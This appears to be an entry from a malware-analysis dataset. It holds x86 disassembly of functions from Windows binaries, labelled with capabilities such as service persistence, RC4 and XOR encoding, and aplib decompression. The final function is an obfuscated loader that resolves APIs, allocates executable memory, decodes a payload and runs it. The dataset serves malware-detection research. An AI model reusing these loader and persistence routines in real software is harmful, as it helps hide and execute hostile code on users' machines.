joyce8/EMBER2024-capa huggingface dataset:
Function at 0x11a33058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x11a331a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x11a3307e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11a3306a
add dl, dl
jne 0x11a33089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11a330dc
xor eax, eax
add dl, dl
jne 0x11a33096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11a3317d
add dl, dl
jne 0x11a330a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11a330b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11a330bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11a330c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x11a330d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x11a33075
mov eax, 1
add dl, dl
jne 0x11a330ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11a330f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11a330e1
sub eax, ebx
mov ebx, 1
jne 0x11a33128
mov ecx, 1
add dl, dl
jne 0x11a3310e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x11a33119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11a33105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x11a33075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x11a3313f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x11a3314a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11a33136
cmp eax, 0x7d00
jae 0x11a3316d
cmp eax, 0x500
jb 0x11a33168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x11a33075
cmp eax, 0x7f
ja 0x11a33170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x11a33075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x11a3319e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x11a33075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x418dec
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418c5d

Function at 0x4191e6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407f40
mov eax, dword [0x47db00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00415f5b
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x419228
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x419384
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004234f0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47f6e8]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041a1dd
mov ecx, dword [esi*4 + 0x47f6e8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41937d
cmp eax, dword [edi + ecx + 0x24]
jne 0x41937d
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41937d
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041a1dd
add esp, 0x14
test edx, edx
jl 0x41937d
jg 0x4192f3
test eax, eax
jb 0x41937d
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41937d
jl 0x41930d
cmp dword [ebp - 0x1008], eax
ja 0x41937d
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41932b
test ebx, ebx
je 0x419364
cmp ecx, edi
jae 0x419364
mov al, byte [ecx]
cmp al, 0xd
jne 0x419345
lea eax, [edi - 1]
cmp ecx, eax
jae 0x419351
cmp byte [ecx + 1], 0xa
jne 0x419351
inc ecx
jmp 0x419351
movzx eax, al
movsx eax, byte [eax + 0x47ddd8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41932b
cmp edx, ebx
jne 0x41932b
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x419382
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040742b
leave
ret
Function at 0x41967b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47f6e8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4196bb
cmp byte [ebx], 0xa
jne 0x4196bb
or byte [eax + edi + 0x28], 4
jmp 0x4196c0
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4197be
mov al, byte [edx]
cmp al, 0x1a
je 0x4197a0
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4196ef
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x419714
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41971e
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4196d1
jmp 0x4197be
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41979b
cmp dword [ebp - 0xc], 0
je 0x41979b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47f6e8]
test byte [eax + edi + 0x28], 0x48
je 0x419775
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x419760
mov byte [esi], dl
jmp 0x419771
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47f6e8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4197be
cmp byte [ebp - 1], 0xa
jne 0x419784
cmp esi, ebx
jne 0x419784
mov byte [esi], 0xa
jmp 0x4197bd
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041a1fb
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4197be
mov byte [esi], 0xd
jmp 0x4197bd
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47f6e8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4197ba
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4197be
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4197c7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47f6e8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41980a
cmp word [esi], dx
jne 0x41980a
or byte [edi + eax + 0x28], 4
jmp 0x41980f
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x419962
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x419942
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x419851
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x419887
cmp eax, edx
jae 0x419893
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x419829
jmp 0x419962
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41993e
cmp dword [ebp - 0x14], 0
je 0x41993e
mov eax, dword [ebx*4 + 0x47f6e8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x419916
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4198df
mov word [esi], cx
jmp 0x419912
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47f6e8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47f6e8]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47f6e8]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x419962
pop ebx
cmp word [ebp - 4], bx
jne 0x419927
cmp esi, dword [ebp + 0xc]
jne 0x419927
mov word [esi], bx
jmp 0x41995f
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041a1fb
add esp, 0x10
cmp word [ebp - 4], bx
je 0x419962
push 0xd
jmp 0x41995b
mov ecx, dword [ebx*4 + 0x47f6e8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x419959
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x419962
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41b759
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41b7f6
push ebx
push esi
call fcn.0041b722
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041a3a7
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41b7a3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41b7f5
push edi
push eax
call fcn.00415126
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41b7c3
call fcn.00414efc
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41b7f4
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041a3a7
add esp, 0x20
test eax, eax
jne 0x41b7e2
push edi
call fcn.00414efc
jmp 0x41b7ea
push ebx
call fcn.00414efc
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4232f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42331d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42331d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x424000
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push str.Success_created.
push 0x47ee38
mov ebx, ecx
call fcn.00401160
push eax
call fcn.00401e70
push 8
call fcn.004073e8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x424062
push 4
call fcn.004073e8
add esp, 4
test eax, eax
je 0x424040
mov dword [eax], 0x424bc0
jmp 0x424042
xor eax, eax
lea edi, [esi + 4]
push edi
push 0
push eax
push 0x401e50
push 0
push 0
call fcn.0040e506
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x42409d
jmp 0x424064
xor esi, esi
cmp dword [esi + 4], 0
je 0x4240aa
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [esi + 4], eax
je 0x4240b1
push 0
push dword [esi + 4]
push dword [esi]
call fcn.004050d5
add esp, 0xc
test eax, eax
jne 0x4240b8
push 8
push esi
mov dword [esi], eax
mov dword [esi + 4], eax
call fcn.00407418
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
ret
push 6
mov dword [edi], 0
call fcn.0040528b
push 1
call fcn.0040528b
push 5
call fcn.0040528b
push 2
call fcn.0040528b
int3
Function at 0x4010e0
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
sub esp, 0x108
push ebx
push esi
push edi
push 0xf003f
push 0
mov esi, ecx
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x40110a
pop edi
pop esi
pop ebx
add esp, 0x108
ret
lea edi, [esi + 4]
push 1
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x40117a
lea eax, [esp + 0x10]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x20]
push esi
push ecx
push 1
push 2
push 0x110
push 0xf01ff
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
jne 0x401168
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x108
ret
lea edx, [esp + 0xc]
mov dword [esp + 0xc], edi
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x108
ret

Function at 0x4011a0
Capabilities:
Delete service

Disassembly:
push esi
push edi
push 0xf003f
push 0
mov esi, ecx
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x4011bc
pop edi
pop esi
ret
push ebx
push ebp
add esi, 4
push 0x10000
push esi
push edi
xor ebx, ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4011ef
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x4011ec
mov ebx, 1
push esi
call ebp
push edi
call ebp
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
ret

Function at 0x401200
Capabilities:
Access the windows event log

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x1c]
push edi
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], edx
xor edi, edi
lea eax, [esp + 8]
mov ecx, 3
cmp dword [eax], 0
je 0x401230
inc edi
add eax, 4
dec ecx
jne 0x40122a
mov eax, dword [esi + 0x68]
test eax, eax
jne 0x40124c
lea eax, [esi + 4]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x68]
test eax, eax
je 0x40126f
mov edx, dword [esp + 0x18]
lea ecx, [esp + 8]
push 0
push ecx
push 0
push edi
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
pop edi
pop esi
add esp, 0xc
ret 0x10
Function at 0x4014e0
Capabilities:
Initialize winsock library
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x40f6a1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x614
push ebx
mov ebx, dword [esp + 0x62c]
push esi
push edi
mov eax, dword [ebx + 4]
mov ecx, dword [ebx]
push eax
push ecx
push 0x412d3c
call fcn.00402390
add esp, 0xc
lea ecx, [esp + 0xc]
push 0x412d28
call fcn.00401000
lea edx, [esp + 0x490]
mov dword [esp + 0xc], 0x4101f8
push edx
push 0x102
call sub.WS2_32.dll_WSAStartup
xor esi, esi
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x8c]
mov dword [esp + 0x80], esi
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], esi
mov dword [esp + 0x88], esi
mov dword [esp + 0x84], esi
rep stosd dword es:[edi], eax
mov ecx, 0x80
lea edi, [esp + 0x28c]
rep stosd dword es:[edi], eax
mov byte [esp + 0x48c], 8
mov eax, dword [ebx + 4]
mov dword [esp + 0x628], esi
cmp eax, esi
je 0x401659
push 0x412d24
push eax
call fcn.004022c0
add esp, 8
test eax, eax
jne 0x4015bc
lea ecx, [esp + 0xc]
call fcn.004011a0
lea ecx, [esp + 0xc]
call fcn.004010e0
mov eax, dword [ebx + 4]
push 0x412d20
push eax
call fcn.004022c0
add esp, 8
test eax, eax
jne 0x4015da
lea ecx, [esp + 0xc]
call fcn.004011a0
mov dword [esp + 0xc], 0x4101f8
lea ecx, [esp + 0xc]
mov dword [esp + 0x628], 1
call dword [0x410204]
call sub.WS2_32.dll_WSACleanup
mov eax, dword [esp + 0x80]
cmp eax, esi
je 0x40160d
push eax
call sub.WS2_32.dll_closesocket
mov eax, dword [esp + 0x78]
mov dword [esp + 0x80], esi
cmp eax, esi
je 0x401624
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x78], esi
cmp eax, esi
je 0x401637
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0xc]
mov dword [esp + 0x7c], esi
mov dword [esp + 0x628], 0xffffffff
call fcn.004010c0
mov eax, 0x7b
jmp 0x4016dd
lea ecx, [esp + 0xc]
call fcn.00401280
mov edi, dword [esp + 0x60]
mov dword [esp + 0xc], 0x4101f8
lea ecx, [esp + 0xc]
mov dword [esp + 0x628], 2
call dword [0x410204]
call sub.WS2_32.dll_WSACleanup
mov eax, dword [esp + 0x80]
cmp eax, esi
je 0x401699
push eax
call sub.WS2_32.dll_closesocket
mov eax, dword [esp + 0x78]
mov dword [esp + 0x80], esi
cmp eax, esi
je 0x4016b0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x78], esi
cmp eax, esi
je 0x4016c3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0xc]
mov dword [esp + 0x7c], esi
mov dword [esp + 0x628], 0xffffffff
call fcn.004010c0
mov eax, edi
mov ecx, dword [esp + 0x620]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x620
ret
Function at 0x401716
Capabilities:
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x40f6b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x4101f8
xor edi, edi
mov dword [esp + 0x14], edi
call dword [0x410204]
call sub.WS2_32.dll_WSACleanup
mov eax, dword [esi + 0x74]
cmp eax, edi
je 0x401742
push eax
call sub.WS2_32.dll_closesocket
mov eax, dword [esi + 0x6c]
mov dword [esi + 0x74], edi
cmp eax, edi
je 0x401754
push edi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x70]
mov dword [esi + 0x6c], edi
cmp eax, edi
je 0x401765
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
mov dword [esi + 0x70], edi
mov dword [esp + 0x14], 0xffffffff
call fcn.004010c0
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x4059a5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x413430
cmp edx, dword [eax]
je 0x4059c7
add eax, 8
inc ecx
cmp eax, 0x4134c0
jl 0x4059b8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x413430]
jne 0x405af5
mov eax, dword [0x41607c]
cmp eax, 1
je 0x405acf
test eax, eax
jne 0x4059f8
cmp dword [0x412ef4], 1
je 0x405acf
cmp edx, 0xfc
je 0x405af5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x405a2f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00406f60
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404db0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x405a72
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404db0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41063c
push edi
call fcn.004021b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00406f60
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00406f70
lea eax, [ebp - 0xa0]
push 0x41061c
push eax
call fcn.00406f70
push dword [esi + 0x413434]
lea eax, [ebp - 0xa0]
push eax
call fcn.00406f70
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00408bcf
add esp, 0x2c
pop edi
jmp 0x405af5
lea eax, [ebp + 8]
lea esi, [esi + 0x413434]
push 0
push eax
push dword [esi]
call fcn.00404db0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40aa00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
xor eax, eax
mov al, byte [0x4164e4]
and eax, 1
test eax, eax
jne 0x40aa3a
mov cl, byte [0x4164e4]
or cl, 1
mov byte [0x4164e4], cl
mov ecx, 0x4163e0
call fcn.0040bfc0
push 0x40ab24
call fcn.0040c644
add esp, 4
mov dword [ebp - 4], 0x4163e4
mov byte [ebp - 0x10], 0
mov edx, dword [ebp + 8]
mov byte [edx + 0x1f], 0x7a
mov byte [ebp - 8], 0x7a
mov eax, dword [ebp + 8]
mov byte [eax + 0x1d], 0x6f
mov byte [ebp - 0xc], 0
jmp 0x40aa66
mov cl, byte [ebp - 0xc]
add cl, 1
mov byte [ebp - 0xc], cl
mov edx, dword [ebp - 0xc]
and edx, 0xff
cmp edx, 0x1e
jge 0x40aa8a
mov eax, dword [ebp - 0xc]
and eax, 0xff
mov ecx, dword [ebp + 8]
mov dl, byte [ebp - 0x10]
add dl, byte [ecx + eax]
mov byte [ebp - 0x10], dl
jmp 0x40aa5d
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 0x10]
mov byte [eax + 0x1e], cl
mov edx, dword [ebp + 8]
mov al, byte [edx + 0x1e]
mov byte [ebp - 0x14], al
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
mov al, byte [edx + 4]
mov byte [ecx + 0x1e], al
mov ecx, dword [ebp + 8]
mov dl, byte [ebp - 0x14]
mov byte [ecx + 4], dl
mov byte [ebp - 0xc], 0
jmp 0x40aabf
mov al, byte [ebp - 0xc]
add al, 1
mov byte [ebp - 0xc], al
mov ecx, dword [ebp - 0xc]
and ecx, 0xff
cmp ecx, 0x1f
jge 0x40ab02
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax + edx]
mov edx, dword [ebp - 4]
xor eax, eax
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 8]
and ecx, 0xff
xor eax, ecx
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov ecx, dword [ebp + 8]
mov byte [ecx + edx], al
jmp 0x40aab7
mov edx, dword [ebp + 8]
mov al, byte [edx + 0x1f]
mov byte [ebp - 0x18], al
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
mov al, byte [edx + 8]
mov byte [ecx + 0x1f], al
mov ecx, dword [ebp + 8]
mov dl, byte [ebp - 0x18]
mov byte [ecx + 8], dl
mov esp, ebp
pop ebp
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40ea60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40ea6f
pop dword [ebp - 0x2c]
mov eax, 0x40ea6f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xa8b78e82
sub dword [ebp - 0x3c], 0x5a654937
mov dword [ebp - 0x38], 0x6bdf3fa
add dword [ebp - 0x38], 0x2b75584b
mov dword [ebp - 0x34], 0xb1fd09ed
add dword [ebp - 0x34], 0x9a4f3a41
mov dword [ebp - 0x30], 0x86ccd38e
sub dword [ebp - 0x30], 0x86ccd38e
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x44301d9d
add dword [ebp - 0x3c], 0x30424bb9
mov dword [ebp - 0x38], 0xa5f96ced
sub dword [ebp - 0x38], 0x648d0b78
mov dword [ebp - 0x34], 0xfd151435
add dword [ebp - 0x34], 0x665a5837
mov dword [ebp - 0x30], 0x3d2b60a0
add dword [ebp - 0x30], 0xc2d49f60
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3aa9b
push 0
call eax
mov ecx, 0xce28f577
add ecx, 0x31d7464d
mov edi, eax
mov ebx, 0xc1043988
sub ebx, 0xc0c0f588
add ebx, dword [ebp - 0x2c]
mov edx, 0xf6a8e43f
add edx, 0x1d0173f3
xor dword [ebp - 8], 0x72eb39ef
mov esi, dword [ebx]
add esi, edx
xor dword [ebp - 0x20], 0xc99ce24a
mov dword [edi], esi
add dword [ebp - 0x28], ecx
add edi, 4
add ebx, 4
loop 0x40eb82
add eax, 0x8412f3dd
sub eax, 0x841211fa
xor ebx, ebx
add ebx, eax
add eax, 0xf634d643
add eax, 0x9cb29c2
mov ecx, 0xad35543
sub ecx, 0xa935543
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret